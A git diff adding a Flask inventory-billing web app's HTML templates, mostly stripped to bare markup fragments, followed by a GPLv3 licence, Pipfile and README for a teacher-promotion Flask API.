+ + +
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+
+ + +
+ +
+ {% endif %} + +
+ +
+
+
+ +
+ +
+
+
+
+
+
+

Total Amount

+ +
+
+
+

0.00

+
+
+ +
+
+
+
+
+
+
+
+
+ + + + + + + + + + + + + + + + + + +
QTYProductPriceTotal
+
+
+
No item listed yet.
+
+
+
+
+
+
+
+ + + + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/bills.html b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/bills.html new file mode 100644 index 00000000..cc9e0995 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/bills.html @@ -0,0 +1,93 @@ + + + + + + BillSwift | Bills + + + + + {% macro catch(on_exception) %} + {{ handle_catch(caller, on_exception) }} + {% endmacro %} + +
+
+
+

BillSwift - Bills/Invoices

+
+ +
+
+
+
+ + + + + + + + + + + + {% call catch('') %} + {% for val in all_bills %} + + + + + + {% if val['payment_status'] == 'paid' %} + + {% elif val['payment_status'] == 'ppaid' %} + + {% else %} + + {% endif %} + + {% endfor %} + {% endcall %} + +
SnoBill IdCreated OnTotal Amount#
{{loop.index + page_index*page_size}}{{val['bill_id']}}{{val['created_on']}}₹ {{val['checkout_amount']}}Open BillOpen BillOpen Bill
+
+
+
+ + +
+ + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/index.html b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/index.html new file mode 100644 index 00000000..a6b7d307 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/index.html @@ -0,0 +1,339 @@ + + + + + + + + + BillSwift + + + + + + + + + + + + + + +
+ +
+
+ {% with messages = get_flashed_messages() %} + {% if messages %} +
    + {% for message in messages %} + + {% endfor %} +
+ {% endif %} + {% endwith %} +
+
+

BillSwift

+
+
+
+
+
+
+
+
+ +
+

Add Product Item

+
+
+
+
+
+
+ + +
+ + +
+
+
+ +
ID:
+ +
Product:
+
+
Description:
+
+
Price:
+
+
+
+ + +
+
+
+
+ +
+
+
+
+
+
+
+

Total Amount

+
+
+
+

0.00

+
+
+ +
+
+
+
+
+
+
+
+
+ + + + + + + + + + + + + + + + + + +
QTYProductPriceTotal
+
+
+
No item listed yet.
+
+
+
+
+
+
+
+ + + + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/login.html b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/login.html new file mode 100644 index 00000000..f4b222a1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/login.html @@ -0,0 +1,133 @@ + + + + + + BillSwift | Login + + + + + + +
+ {% with messages = get_flashed_messages() %} + {% if messages %} +
    + {% for message in messages %} + + {% endfor %} +
+ {% endif %} + {% endwith %} +
+ +

BillSwift Login

+ +
+ + +
+
+ + +
+ + New User?
+ +

TECH PANDITS © 2023 - 2024

+
+
+ + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/products.html b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/products.html new file mode 100644 index 00000000..ef296e5c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/products.html @@ -0,0 +1,220 @@ + + + + + + BillSwift | Products + + + + + {% macro catch(on_exception) %} + {{ handle_catch(caller, on_exception) }} + {% endmacro %} + + + +
+
+
+

BillSwift - Products List

+
+ +
+
+ +
+
+
+ + + + + + + + + + + + + {% call catch('') %} + {% for item in products %} + + + + + + + + + + {% endfor %} + {% endcall %} + +
SnoItem NameItem PriceItem StockOpen ProductDelete Product
{{loop.index + page_index*page_size}}{{item['name']}}{{item['price']}}{{item['item_stock']}} Open
+ +
+ + +
+
+
+ + +
+ + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/signup.html b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/signup.html new file mode 100644 index 00000000..12135921 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/signup.html @@ -0,0 +1,142 @@ + + + + + + BillSwift | Signup + + + + + + +
+ {% with messages = get_flashed_messages() %} + {% if messages %} +
    + {% for message in messages %} + + {% endfor %} +
+ {% endif %} + {% endwith %} +
+ +

BillSwift Signup

+ +
+ + +
+
+ + +
+
+ + +

* Password should be atleast 6 characters

+
+
+ + +
+ + Already a User!
+ +

TECH PANDITS © 2023 - 2024

+
+
+ + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/success.html b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/success.html new file mode 100644 index 00000000..1382769b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/success.html @@ -0,0 +1,50 @@ + + + BillSwift + + + + + +
+
+ ✓ +
+

Success

+

We have sent a verificiation Email to
Your Inbox.Verify you email and Sign in!!

+
+ + \ No newline at end of file diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/LICENSE b/FLASK PROJECTS/Teacher Promotion Flask API/LICENSE new file mode 100644 index 00000000..f288702d --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/Pipfile b/FLASK PROJECTS/Teacher Promotion Flask API/Pipfile new file mode 100644 index 00000000..22d660a0 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/Pipfile @@ -0,0 +1,11 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] + +[dev-packages] + +[requires] +python_version = "3.8" diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/README.md b/FLASK PROJECTS/Teacher Promotion Flask API/README.md new file mode 100644 index 00000000..01088f7e --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/README.md @@ -0,0 +1,49 @@ +# teacher-promotion-flask-api +Flask API for teacher promotion. Due to confidentiality agreements, I am unable to disclose the data used for training the model or the three promotion parameters labeled as 1, 2 and 3. However, you are welcome to utilize the API or customize it as needed. Thank you. + +## Install Requirements +```bash +pip install -r requirements.txt +``` + + + +## Setup +- open the terminal +- clone the repository + ```bash + git clone https://github.com/saeedahmadicp/teacher-promotion-flask-api.git + ``` +- change the directory + + ```bash + cd teacher-promotion-flask-api + ``` +- execute the below commands + ```bash + pip3 install pipenv + ``` + ```bash + pipenv install + ``` + ```bash + pipenv shell + ``` + +- install the requirements + ```bash + pip install -r requirements.txt + ``` + +- execute the following commands + ```bash + set FLASK_APP=main.py + ``` + ```bash + set FLASK_ENV=development + ``` + ```bash + flask run + ``` + +- **If you are using Linux or Mac, use `export` instead of `set` in the above commands** diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/._signup-form-02 b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/._signup-form-02 new file mode 100644 index 00000000..0eb63683 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/._signup-form-02 differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._.DS_Store b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._.DS_Store new file mode 100644 index 00000000..924be70e Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._.DS_Store differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._css b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._css new file mode 100644 index 00000000..508f29a0 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._css differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._fonts b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._fonts new file mode 100644 index 00000000..5297943b Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._fonts differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._images b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._images new file mode 100644 index 00000000..b8f2638a Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._images differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._index.html b/FLASK PROJECTS/Teacher Promotion Flask API/__MACOSX/signup-form-02/._index.html new file mode 100644 index 00000000..d27e974c Binary files /dev/null and 